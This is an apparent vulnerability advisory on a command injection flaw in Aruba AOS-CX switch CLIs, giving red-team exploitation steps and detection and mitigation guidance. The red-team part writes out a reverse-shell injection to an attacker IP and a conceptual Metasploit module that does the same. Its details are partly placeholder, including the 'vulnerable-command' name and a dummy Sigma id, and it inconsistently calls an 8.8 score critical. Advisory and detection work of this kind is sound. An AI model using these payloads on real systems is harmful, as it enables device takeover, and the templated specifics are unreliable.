CVE-2026-23814

Executive Summary

CVE-2026-23814 is a critical command injection vulnerability in Aruba AOS-CX switches. A low-privilege authenticated remote attacker can inject arbitrary commands via a specific CLI command parameter, leading to full device compromise. With a CVSS score of 8.8, this flaw poses a severe risk to network infrastructure. No public exploit or patch is currently available, but the vulnerability is weaponizable through crafted CLI inputs.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. Exploitation allows an authenticated attacker to execute arbitrary commands with elevated privileges, potentially leading to full network segmentation bypass and lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the command parsing logic of a specific AOS-CX CLI command. The affected command does not properly sanitize user-supplied parameters, allowing an attacker to inject shell metacharacters (e.g., ;, |, &, $()) into the command string. When the CLI processes the input, the injected characters are interpreted as command separators or substitutions, enabling arbitrary command execution.

Root Cause: Insufficient input validation in the CLI command handler. The application fails to escape or reject shell metacharacters before passing the parameter to a system-level function (e.g., system(), exec()).

Attack Flow:

1. Attacker authenticates to the AOS-CX device with low-privilege credentials.
2. Attacker sends a crafted CLI command with injected payload in the vulnerable parameter.
3. The device executes the injected command with the privileges of the CLI process (often root).
4. Attacker gains remote code execution and can install backdoors, exfiltrate data, or pivot.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def execute_cli_command(command, param):
    # No sanitization
    full_command = f"{command} {param}"
    os.system(full_command)

Patched Code (Conceptual):

import shlex

def execute_cli_command(command, param):
    # Sanitize using shlex.quote
    safe_param = shlex.quote(param)
    full_command = f"{command} {safe_param}"
    os.system(full_command)

The patched version uses shlex.quote() to escape shell metacharacters, preventing injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Aruba AOS-CX switch (e.g., CX 6300 series) with vulnerable firmware.
• Attacker: Kali Linux with netcat and Metasploit.
• Credentials: Low-privilege user (e.g., operator).

Exploitation Steps:

1. Authenticate via SSH to the switch.
2. Execute the vulnerable CLI command with injected payload:

   ssh operator@<switch_ip>
   # Enter password
   switch> enable
   switch# configure terminal
   switch(config)# vulnerable-command parameter="; id"
   

3. Observe command execution (e.g., uid=0(root)).
4. Establish reverse shell:

   switch(config)# vulnerable-command parameter="; bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
   

5. On attacker machine: nc -lvnp 4444

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Aruba AOS-CX CLI Command Injection',
      'Description' => 'Exploits CVE-2026-23814',
      'Author' => ['Valters IT'],
      'References' => [['CVE', '2026-23814']],
      'Platform' => 'unix',
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    print_status("Connecting to #{datastore['RHOST']}...")
    ssh = Net::SSH.start(datastore['RHOST'], datastore['USERNAME'], password: datastore['PASSWORD'])
    print_good("Authenticated")
    payload = "; bash -c 'bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1'"
    ssh.exec!("vulnerable-command parameter=\"#{payload}\"")
    print_status("Payload sent")
  end
end

Blue Team

Detection Steps:

1. Monitor CLI logs for unusual command parameters containing shell metacharacters (;, |, &, $()).
2. Enable audit logging on AOS-CX devices.
3. Use SIEM to correlate failed authentication attempts followed by suspicious CLI commands.
4. Implement network segmentation to limit lateral movement from compromised switches.

Honeypot Setup:

• Deploy a fake AOS-CX switch with SSH enabled.
• Log all CLI commands and alert on injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SSH connections from unusual IPs to AOS-CX devices.
  • CLI commands containing ;, |, &, $() in parameters.
  • Outbound connections from switch to attacker IPs (e.g., reverse shells).

• Host IOCs:

  • Unexpected processes (e.g., bash, nc, python) running on the switch.
  • Modified configuration files (e.g., /etc/passwd).
  • New user accounts or SSH keys.

• Log IOCs:

  • CLI audit logs showing vulnerable-command with suspicious parameters.
  • Syslog entries with CMD_INJECTION or similar alerts.

Detection Engineering

YARA Rule

rule CVE_2026_23814_CLI_Injection {
    meta:
        description = "Detects command injection attempts in AOS-CX CLI logs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-23814"
    strings:
        $injection1 = /vulnerable-command\s+parameter\s*=\s*"[^"]*[;&|$()][^"]*"/ nocase
        $injection2 = /vulnerable-command\s+parameter\s*=\s*"[^"]*`[^"]*`"/ nocase
    condition:
        any of them
}

Sigma Rule

title: Aruba AOS-CX CLI Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection via vulnerable CLI command parameter
author: Valters IT
logsource:
    product: aruba
    service: aos-cx
    category: cli
detection:
    selection:
        command: "vulnerable-command"
        parameter|contains:
            - ";"
            - "|"
            - "&"
            - "$("
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in CLI (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2026-23814 Aruba AOS-CX CLI Command Injection"; flow:to_server,established; content:"vulnerable-command"; nocase; pcre:"/parameter\s*=\s*\"[^\"]*[;&|$()][^\"]*\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict SSH access to AOS-CX devices to trusted management IPs only.
2. Implement strict RBAC – disable CLI access for low-privilege users if possible.
3. Monitor logs for injection attempts and block offending IPs.

Long-term Fix:

• Apply vendor patch when released.
• Upgrade to patched firmware version.
• Implement input validation in custom scripts interacting with CLI.

Workaround:

• Use TACACS+ or RADIUS to enforce command authorization.
• Disable the vulnerable CLI command via ACL if possible.

Valters IT signature: This report is provided for authorized security testing and defense purposes only. Unauthorized exploitation is illegal.